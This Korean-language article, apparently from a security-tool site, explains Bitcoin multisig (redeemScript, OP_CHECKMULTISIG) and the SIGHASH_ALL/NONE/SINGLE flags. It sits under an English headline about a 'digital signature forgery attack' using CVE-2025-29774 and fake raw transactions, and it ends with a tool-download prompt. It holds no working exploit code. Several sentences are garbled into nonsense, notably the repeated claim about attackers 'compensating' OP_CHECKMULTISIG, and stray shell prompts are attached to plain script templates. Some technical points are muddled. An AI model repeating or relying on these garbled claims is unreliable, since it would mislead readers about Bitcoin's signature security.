RedeemScript 와 OP_CHECKMULTISIG 명령어는 비트코인 무기고에서 강력하고 복잡한 도구로, 서명 임계값을 갖는 다중 서명 지갑을 생성할 수 있게 해주며, 자금에 대한 높은 수준의 보안과 통제를 제공합니다. 이 메커니즘은 분산되고 안전한 환경에서 자산의 공유 관리를 사용하려는 조직, 사용자 및 서비스의 초석이 되었습니다. 따라서 redeemScript와 OP_CHECKMULTISIG를 통한 다중 서명은 단순한 기술이 아니라 고전적인 암호화폐 모델의 기능을 확장하는 기능입니다.


Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallet Operational Methods with Fake RawTX

OP_CHECKMULTISIG 및 redeemScript를 사용한 비트코인 다중 서명 검증 메커니즘 작동 방식

비트코인 다중 서명 검증 메커니즘은 OP_CHECKMULTISIG 및 redeemScript 명령어를 사용하는 특수 스크립트를 기반으로 하며, 이를 통해 임계값 서명 일치를 허용하여 향상된 보안과 자금의 공유 관리를 제공합니다.

다중 서명 메커니즘의 기본

Multisig는 주어진 공개 키 집합에서 여러 개의 유효한 서명이 필요한 시스템입니다. 일반적인 체계는 m of n으로 표시됩니다. 예를 들어 "2 of 3"은 세 개의 키 중 두 개의 서명이 지출을 승인하는 데 필요함을 의미합니다.

비트코인에서 이 논리는 다음을 통해 구현됩니다:

  • redeemScript — 자금 지출 조건을 설명하는 스크립트입니다. 공개 키 목록과 임계값 매개변수(m)를 포함합니다.
  • scriptSig — 검증에 필요한 서명과 redeemScript 자체를 포함하는 잠금 해제 스크립트입니다.

redeemScript 작동 방식

OP_CHECKMULTISIG 명령어는 제공된 scriptSig 서명이 유효하고 redeemScript의 게시된 공개 키와 일치하는지 확인합니다.

RedeemScript는 다음과 같은 구조로 되어 있습니다:

root@kitploit:~
OP_M <pubkey1> <pubkey2> ... <pubkeyN> OP_N OP_CHECKMULTISIG
  • OP_M 및 OP_N — 각각 필요한 서명 수와 전체 공개 키 수를 지정하는 명령어입니다(예: OP_2 및 OP_3).
  • <pubkeyX> — 참가자의 공개 키입니다.
  • OP_CHECKMULTISIG — 다중 서명 검증을 구현하는 연산자입니다.

  • 입력으로 여러 서명과 공개 키 집합을 받습니다.
  • 성공적으로 검증하려면 각 서명이 지정된 공개 키 중 하나와 올바르게 일치해야 합니다.
  • 유효한 서명 수가 임계값 m에 도달하면 true를 반환합니다.

중요한 기술적 특징은 OP_CHECKMULTISIG의 역사적인 구현 버그로 인해 스택에서 추가적이고 사용되지 않는 요소가 제거된다는 점입니다. 이 버그를 보완하기 위해 scriptSig 시작 부분에 OP_FALSE(코드 0) 값을 배치하여 스택 이동을 "고정"합니다.


scriptSig 구조 작동 방식

"2 of 3" 다중 서명 지갑의 경우, 자금을 사용하기 전에 scriptSig가 다음과 같이 구성됩니다:

root@kitploit:~
OP_FALSE <signature1> <signature2> <redeemScript>
  • OP_FALSE — OP_CHECKMULTISIG 버그를 보상하기 위한 더미 값입니다.
  • <signature1> 및 <signature2> — 해당 개인 키 소유자가 승인한 두 개의 디지털 서명입니다.
  • <redeemScript> — 공개 키와 검증 매개변수가 포함된 스크립트 자체입니다.

노드 트랜잭션 확인 시:

  1. scriptSig에서 redeemScript를 추출합니다.
  2. 해시를 계산하여 이전 출력(P2SH 형식 – OP_HASH160 <redeemScript 해시> OP_EQUAL)의 잠금 스크립트(scriptPubKey)에 저장된 해시와 비교합니다.
  3. 해시가 일치하면 redeemScript를 역직렬화합니다.
  4. OP_CHECKMULTISIG 문을 실행하여 서명과 키를 비교하여 일치하는지 확인합니다.
  5. 검사가 성공하면 true를 반환합니다.

트랜잭션의 모든 입력이 이 검사를 통과하면 트랜잭션은 유효한 것으로 간주됩니다. 이러한 유효성으로 인해 이 버그 연산자를 실행함으로써 공격자는  OP_CHECKMULTISIG  를 잠재적 취약점으로 보상합니다.


redeemScript 및 OP_CHECKMULTISIG를 통한 다중 서명 메커니즘

  • 향상된 보안: 트랜잭션을 수행하려면 여러 개인 키 소유자가 동의해야 하므로 하나의 키가 손상될 경우 도난 위험이 줄어듭니다.
  • 유연성 및 확장성: 임의의 서명 임계값(1~15)과 참가자 목록(2~15개의 공개 키)을 설정할 수 있습니다.
  • 공동 자산 관리: 기업 계정, 공동 지갑, DAO에 적합하며 강력한 접근 제어를 제공합니다.
  • 투명성 및 검증 가능성: 모든 필요한 데이터와 조건이 블록체인에 있으며, 트랜잭션 검증은 자동적이고 분산되며 투명합니다.

OP_CHECKMULTISIG 명령어와 redeemScript를 사용하는 비트코인 다중 서명 검증 메커니즘은 복잡한 임계값 서명 체계를 설정할 수 있게 하며, 이 버그 연산자를 실행함으로써 공격자는 비트코인 분산 네트워크에서 제어된 트랜잭션의 잠재적 취약점으로  OP_CHECKMULTISIG  를 보상합니다.


OP_CHECKMULTISIG가 여러 서명을 확인할 때의 특징과 제한 사항은 무엇입니까? 핵심 측면과 제한 사항을 살펴보겠습니다:

  1. 서명 확인 임계값
    OP_CHECKMULTISIG를 사용하면 전체 공개 키 수 N 중 필요한 서명 수 T를 지정할 수 있습니다("T of N" 체계). 예: 3개 중 2개. 트랜잭션이 유효하려면 T개의 유효한 서명이면 충분합니다.
  2. 하나의 작업에서 여러 서명 확인
    단일 서명 확인(OP_CHECKSIG)과 달리 OP_CHECKMULTISIG는 여러 서명을 한 번에 확인하여 이를 해당 공개 키와 연관시키므로 다중 서명 지갑 구현의 효율성과 편의성이 향상됩니다.
  3. 지출 조건에 redeemScript 사용
    P2SH 형식에서 다중 서명 체계는 redeemScript 해시 아래에 숨겨집니다. 즉, 공개 키와 매개변수가 포함된 전체 스크립트입니다. 자금을 사용하려면 사용자가 redeemScript와 해당 서명을 제시해야 합니다.
  4. 역사적 버그 – 스택의 추가 요소
    OP_CHECKMULTISIG는 실행 중에 스택에서 추가적이고 사용되지 않는 요소를 제거하는 기능("off-by-one" 구현 버그)이 있습니다. 이를 보상하기 위해 scriptSig 시작 부분에 더미 요소 OP_FALSE가 추가되어 스택을 올바르게 정렬합니다. 이는 커뮤니티에서 인정하고 수용된 기능입니다.

OP_CHECKMULTISIG 제한 사항

  1. 최대 키 및 서명 수
    비트코인은 redeemScript에서 15개의 공개 키와 그에 따라 15개의 서명으로 제한됩니다. 이는 스크립트 크기(~520바이트) 및 블록당 허용된 검증 작업 수(sigops 제한) 제한 때문입니다.
  2. 트랜잭션 크기 및 수수료 증가
    다중 서명 트랜잭션은 많은 수의 공개 키, 서명 및 추가 redeemScript 데이터로 인해 크기가 더 큽니다. 이는 트랜잭션 자체의 크기를 증가시키고 결과적으로 처리 수수료를 증가시킵니다.
  3. 스크립트 크기 제한
    각 스크립트(입력 또는 출력)의 최대 크기는 520바이트로 제한됩니다. 키 수가 많으면 redeemScript가 복잡해져 다중 서명 사용의 편의성과 효율성에 영향을 미칩니다.
  4. P2SH 사용 시에만 지출 조건 숨기기
    P2SH를 사용하지 않으면 공개 키와 OP_CHECKMULTISIG가 포함된 올바른 스크립트가 트랜잭션 출력에 공개적으로 저장되어 공개 키가 미리 노출되어 개인 정보 보호가 감소합니다.
  5. 복잡한 논리에 대한 기본 지원 부족
    비트코인 스크립트는 불완전하고 기능이 제한되어 있으며 루프와 재귀가 없기 때문에 다중 서명의 복잡한 정치적 또는 계약적 조건이 제한된 방식으로 구현됩니다.

Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallet Operational Methods with Fake RawTX


비트코인의 서명 유형: SIGHASH 플래그의 특징과 역할

비트코인은 트랜잭션을 승인하기 위해 디지털 서명을 사용하여 자금 소유자가 자금 처분 권리를 확인할 수 있도록 합니다. 특징은 서명이 전체 트랜잭션이 아닌 일부에만 적용되도록 범위를 제한할 수 있다는 것입니다. 이는 특수 플래그인 SIGHASH 를 사용하여 구현되며, 이는 정확히 어떤 트랜잭션 데이터가 서명에 포함되는지 결정합니다. 서명 해시 유형, 그 목적, 사용 예 및 비표준 상황에서 발생하는 기능을 살펴보겠습니다.

비트코인 트랜잭션에 서명할 때 트랜잭션 데이터의 특정 부분에 대해 생성된 디지털 서명이 생성됩니다. SIGHASH 플래그를 통해 이 서명이 이 데이터의 어떤 부분을 포함해야 하는지 표시됩니다. 서명 해시 유형은 서명 자체의 마지막 바이트로 전송되며 해시에 포함된 영역, 따라서 서명된 부분을 결정합니다. 이를 통해 서명자가 승인한 트랜잭션의 특정 작업에 대한 조건을 유연하게 구성할 수 있습니다.


세 가지 주요 SIGHASH 유형

1. SIGHASH_ALL (0x01)

이것은 대부분의 지갑과 클라이언트에서 기본 서명 유형입니다. 서명은 트랜잭션의 모든 입력과 모든 출력을 포함합니다. 즉:

  • 서명자는 이 특정 소스와 수취인의 조합을 확인합니다.
  • 서명 후 입력 또는 출력을 변경하면 서명이 무효화됩니다.
  • 가장 높은 수준의 트랜잭션 보안과 예측 가능성을 제공합니다.

2. SIGHASH_NONE (0x02)

이 서명 유형을 사용하면 모든 입력이 서명되지만 출력은 서명되지 않습니다:

  • 서명자는 나열된 입력 사용에 동의하지만 특정 출력에는 구속되지 않습니다.
  • 이를 통해 입력에 다시 서명할 필요 없이 트랜잭션의 출력을 변경할 수 있습니다.
  • 이 접근 방식은 단일 입력에 대해 안전하지 않으며 복잡한 스마트 계약 또는 협력 트랜잭션과 같은 특정 시나리오에서 더 자주 사용됩니다.

3. SIGHASH_SINGLE (0x03)

이 서명 유형은 모든 입력에 서명하지만 하나의 출력, 즉 입력과 동일한 시퀀스 번호를 가진 출력에만 서명합니다:

  • 즉, 서명은 "입력 N – 출력 N" 쌍으로 제한됩니다.
  • 서명자가 특정 입력-출력 쌍을 제어하고 나머지는 무시할 수 있도록 합니다.
  • 부분적 또는 조건부 자금 처분을 생성하는 데 도움이 됩니다.
  • 그러나 입력 인덱스와 일치하는 출력이 없으면 값이 1인 해시가 반환되는 문제가 발생할 수 있습니다(아래 설명된 알려진 버그).

실제 트랜잭션 예제

세 개의 입력이 있는 트랜잭션을 생각해 보겠습니다. 두 개의 입력에 대해 서명 스크립트(scriptSig)에서 SIGHASH_SINGLE을 가리키는 바이트 0x03로 끝나는 서명이 추출되었습니다. 즉, 해당 입력-출력 쌍에만 서명하는 서명입니다. 그러나 여기서는 인덱스 2의 입력에 동일한 인덱스의 해당 출력이 없는 상황을 관찰합니다.


Digital Signature Forgery Attack Various vulnerability assessment methods are used to prevent crypto incidents and improve the cybersecurity of cryptocurrency platforms

791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf


Digital Signature Forgery Attack Various vulnerability assessment methods are used to prevent crypto incidents and improve the cybersecurity of cryptocurrency platforms

Raw Transaction


입력 인덱스 아래에 출력이 없으면 어떻게 되나요?

역사적인 비트코인 버그로 인해 이러한 상황에서 서명을 위한 트랜잭션 해시는 고정된 숫자인 1(int 1)로 반환됩니다. 이는 서명 중인 트랜잭션의 유효한 해시에 해당하지 않으며 보안 및 호환성 문제를 일으킬 수 있습니다.

추가 플래그 및 수정자

세 가지 기본 SIGHASH 값 외에도 SIGHASH_ANYONECANPAY 플래그와의 조합이 가능하며, 이를 통해 하나의 입력만 서명하고 나머지는 수정할 수 있도록 열어둡니다. 이를 통해 다양한 참가자가 자신의 부분만 서명하는 복잡한 협업 프로토콜 및 다자간 트랜잭션을 생성할 수 있는 가능성이 확장됩니다.


실용적 의미와 적용

  • SIGHASH_ALL은 가장 완전한 트랜잭션 확인을 제공하며 표준 지갑에서 사용됩니다.
  • SIGHASH_NONE 및 SIGHASH_SINGLE은 다중 서명, 스마트 계약, 신뢰할 수 있는 트랜잭션과 같은 복잡한 시나리오에서 사용되는 보다 유연하고 부분적인 서명을 허용합니다.
  • 이러한 유형을 이해하는 것은 사용자 정의 트랜잭션을 생성하거나 버그/취약점을 조사하는 개발자 및 분석가에게 중요합니다.

SIGHASH 유형은 Bitcoin 트랜잭션 내에서 디지털 서명의 제어 수준과 범위를 관리하기 위한 영리한 메커니즘입니다. 이는 보안, 유연성 및 호환성 사이의 균형을 유지합니다. 이야기에는 SIGHASH_SINGLE에 해당 출력이 없는 버그와 같은 예상치 못한 복잡성이 포함되어 있으며, 이는 고급 수준에서 비트코인으로 성공적으로 작업하기 위해 기술적 세부 사항을 깊이 이해하는 것의 중요성을 강조합니다.


SIGHASH_ALL, NONE 및 SINGLE의 차이가 비트코인 트랜잭션의 보안에 어떤 영향을 미칩니까?

SIGHASH_ALL, SIGHASH_NONE 및 SIGHASH_SINGLE 서명 유형 간의 차이는 비트코인 트랜잭션의 보안에 상당한 영향을 미칩니다. 이는 디지털 서명 내에서 유지되므로 수정으로부터 보호되는 트랜잭션의 부분을 결정하기 때문입니다.


1. SIGHASH_ALL – 최대 보안

  • 설명: 서명은 트랜잭션의 모든 입력 및 모든 출력을 포함합니다.
  • 보안에 미치는 영향:
    • 서명 후에는 어떤 입력이나 출력도 수정될 수 없도록 보장합니다.
    • 수취인 또는 지불 금액을 대체할 가능성을 제거합니다.
    • 서명자는 트랜잭션의 최종 결과에 대한 완전한 통제권을 갖습니다.
  • 위험: 높은 경직성 – 무엇이든 변경해야 하는 경우(예: 출력 추가 또는 수수료 인상), 재서명이 필요합니다.

2. SIGHASH_NONE – 출력은 열려 있고, 입력은 닫혀 있음

  • 설명: 모든 입력은 서명되지만, 모든 출력은 서명되지 않은 상태로 남습니다.
  • 보안에 미치는 영향:
    • 서명 입력은 보호되지만, 출력은 서명 후 누구든지 변경할 수 있습니다.
    • 악용 가능성: 공격자는 서명 후 전송의 주소와 금액을 변경할 수 있습니다.
  • 사용: 신뢰할 수 있는 협업 프로토콜 및 협력 시나리오에서 주로 드물게 사용됩니다.
  • 위험: 공격자가 서명에 접근할 수 있는 경우, 서명자의 동의 없이 자금을 자신의 주소로 보낼 수 있습니다.

3. SIGHASH_SINGLE — 해당 입력 및 출력의 서명

  • 설명: 모든 입력을 서명하지만, 입력 서명과 동일한 인덱스를 가진 출력만 서명합니다.
  • 보안에 미치는 영향:
    • 서명자가 하나의 특정 출력만 제어할 수 있도록 하며, 다른 출력은 수정 가능한 상태로 남습니다.
    • 출력 수가 입력 수보다 적으면 버그가 발생합니다. 누락된 출력의 경우 해시가 1이 되어 취약점으로 이어질 수 있습니다.
    • 자금 관리의 더 유연한 분배를 허용하지만, 이러한 유연성은 안전한 지출 보장의 감소를 수반합니다.
  • 위험:
    • 보호되지 않은 출력을 대체하거나 제거할 가능성.
    • 전체 지불 로직을 변경하지 않고 유지하는 것이 중요한 트랜잭션에는 적합하지 않습니다.

최종 영향


SIGHASH 유형의 선택은 비트코인 암호화폐 네트워크에서 트랜잭션에 대한 신뢰도에 직접적인 영향을 미칩니다:

  • SIGHASH_ALL은 가장 높은 수준의 보안을 제공하므로 대부분의 트랜잭션에 널리 사용됩니다.
  • SIGHASH_NONE 및 SIGHASH_SINGLE은 유연성과 부분 서명을 제공하며, 특정 경우에 유용할 수 있지만 스푸핑 및 악용의 위험도 증가시킵니다.
  • 이러한 차이를 이해하는 것은 다중 서명 체계, 복잡한 프로토콜 및 비트코인 스마트 계약을 설계할 때 중요하며, 여기서 유연성과 보안 간의 균형을 신중하게 조정해야 합니다.

SIGHASH_ALL의 오용이 트랜잭션의 취약점으로 이어지는 방법

비트코인 트랜잭션 서명에서 SIGHASH_ALL의 잘못된 사용 또는 올바른 구현 부족은 자금의 보안과 시스템 무결성에 영향을 미치는 심각한 취약점으로 이어질 수 있습니다. 이러한 취약점의 주요 측면은 다음과 같습니다:


  1. 서명 가단성:
    SIGHASH_ALL이 트랜잭션의 모든 입력과 출력이 서명됨을 의미하지만, ECDSA 알고리즘의 특성으로 인해 동일한 트랜잭션에 대해 여러 개의 서로 다르지만 유효한 서명이 존재할 수 있습니다. 이는 서명 구성 요소 s가 동등한 값을 가질 수 있기 때문입니다. 공격자는 트랜잭션 내용을 변경하지 않고 서명을 수정할 수 있으며, 이로 인해 트랜잭션 식별자(txid)가 변경됩니다. 이는 트랜잭션 추적을 어렵게 하고, 재생 공격을 어렵게 하며, 사기 또는 이중 지불에 사용될 수 있습니다.

  2. Read more

도구 다운로드
Sighash 유형서명되는 대상보안 수준가능한 위험적용
SIGHASH_ALL트랜잭션의 모든 입력 및 출력최대 – 전혀 변경 불가변경 필요성 (트랜잭션 재서명 필요)대부분의 지불에 대한 표준
SIGHASH_NONE모든 입력, 출력 없음중간 – 출력이 보호되지 않음출력 대체, 수취인 통제 상실협력 시나리오, 다중 서명
SIGHASH_SINGLE모든 입력, 입력에 해당하는 인덱스의 출력낮음 – 하나의 출력만 보호됨해당 출력 부재 시 버그, 부분 대체부분 지불, 복잡한 시나리오